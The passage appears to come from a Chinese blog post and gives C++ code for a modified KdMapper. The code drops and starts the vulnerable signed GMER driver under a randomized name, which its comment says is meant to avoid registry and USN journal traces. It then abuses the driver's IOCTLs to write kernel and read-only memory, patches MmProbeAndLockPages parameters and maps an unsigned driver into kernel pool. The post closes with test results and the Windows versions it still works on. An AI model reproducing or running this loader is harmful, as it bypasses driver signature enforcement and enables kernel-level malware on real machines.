                Log(L"[!] WriteMemory DeviceIoControl failed" << std::endl);
        }
        if (pBuffer)
        {
                free(pBuffer);
                pBuffer = NULL;
        }
        return bOK;
}

bool gmer_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) {

        bool result = WriteMemory(device_handle, address, buffer, size);

        return result;
}

uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) {

        const PIMAGE_NT_HEADERS64 nt_headers = portable_executable::GetNtHeaders(data);

        if (!nt_headers) {
                Log(L"[-] Invalid format of PE image" << std::endl);
                return 0;
        }

        if (nt_headers->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
                Log(L"[-] Image is not 64 bit" << std::endl);
                return 0;
        }

        uint32_t image_size = nt_headers->OptionalHeader.SizeOfImage;

        void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
        if (!local_image_base)
                return 0;

        DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
        image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0);

        uint64_t kernel_image_base = 0;
        uint64_t mdlptr = 0;
        //校验写入地址时代码如下
        //      if (MmIsAddressValid(pSystemBuffer->WriteMemoryDestinationAddress)&&
        //      MmIsAddressValid((char*)pSystemBuffer->WriteMemoryDestinationAddress + pSystemBuffer->Length))
        //这个地址检验有问题,会超出指定的大小,在超出大小时比如分配指定大小的内存后,会导致验证失败,从而写入内存出错。
        // 故将分配时的大小扩大,写入数据时再用较小的原始大小,这里可以加一个Page,也可以直接+1

        if (mdlMode) {
                //kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size, &mdlptr);
                kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr);
        }
        else {
                //kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size);
                kernel_image_base = gmer_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size + 0x1000);
        }
        ......
}

HANDLE gmer_driver::Load()
{
        ......
        //Randomize name for log in registry keys, usn jornal and other shits
        memset(gmer_driver::driver_name, 0, sizeof(gmer_driver::driver_name));
        static const char alphanum[] =
                "abcdefghijklmnopqrstuvwxyz"
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        //由于漏洞驱动内创建设备名称有字符串限制,所以只能创建17个字符以下
        //int len = rand() % 20 + 10;
        int len = rand() % 7 + 10;
        for (int i = 0; i < len; ++i)
                gmer_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];

        Log(L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl);

        std::wstring driver_path = GetDriverPath();
        if (driver_path.empty()) {
                Log(L"[-] Can't find TEMP folder" << std::endl);
                return INVALID_HANDLE_VALUE;
        }

        _wremove(driver_path.c_str());

        if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(gmer_driver_resource::driver), sizeof(gmer_driver_resource::driver))) {
                Log(L"[-] Failed to create vulnerable driver file" << std::endl);
                return INVALID_HANDLE_VALUE;
        }

        if (!service::RegisterAndStart(driver_path)) {
                Log(L"[-] Failed to register and start service for the vulnerable driver" << std::endl);
                _wremove(driver_path.c_str());
                return INVALID_HANDLE_VALUE;
        }


        std::wstringstream device_name;
        device_name << L"\\\\.\\";
        device_name << GetDriverNameW();
        Log(L"[+] Open Device " << device_name.str().c_str() << std::endl);
        Sleep(300);
        HANDLE result = CreateFileW(device_name.str().c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        //HANDLE result = CreateFileW(L"\\\\.\\GMER64", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (!result || result == INVALID_HANDLE_VALUE)
        {
                Log(L"[-] Failed to load driver " << GetDriverNameW() << L".sys" << std::endl);
                gmer_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }

        if (!gmer_driver::InitializeDevice(result)) {
                Log(L"[-] Failed to Initialize Device" << std::endl);
                gmer_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }

        if (!gmer_driver::ModifyMmProbeAndLockPagesParamter(result))
        {
                Log(L"[-] Failed to ModifyMmProbeAndLockPagesParamter" << std::endl);
                gmer_driver::Unload(result);
                return INVALID_HANDLE_VALUE;
        }
    
        ......
}

6.运行效果

  Windows 11 22000 环境上运行效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

7.特别提示

  由于利用驱动数字签名问题,该程序只能在Windows 7、Windows 10 22H2(不包含)以下、Windows 11 22000(包含)以下运行。其它版本的Windows 10 和 Windows 11 由于驱动数字证书被吊销而不能使用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值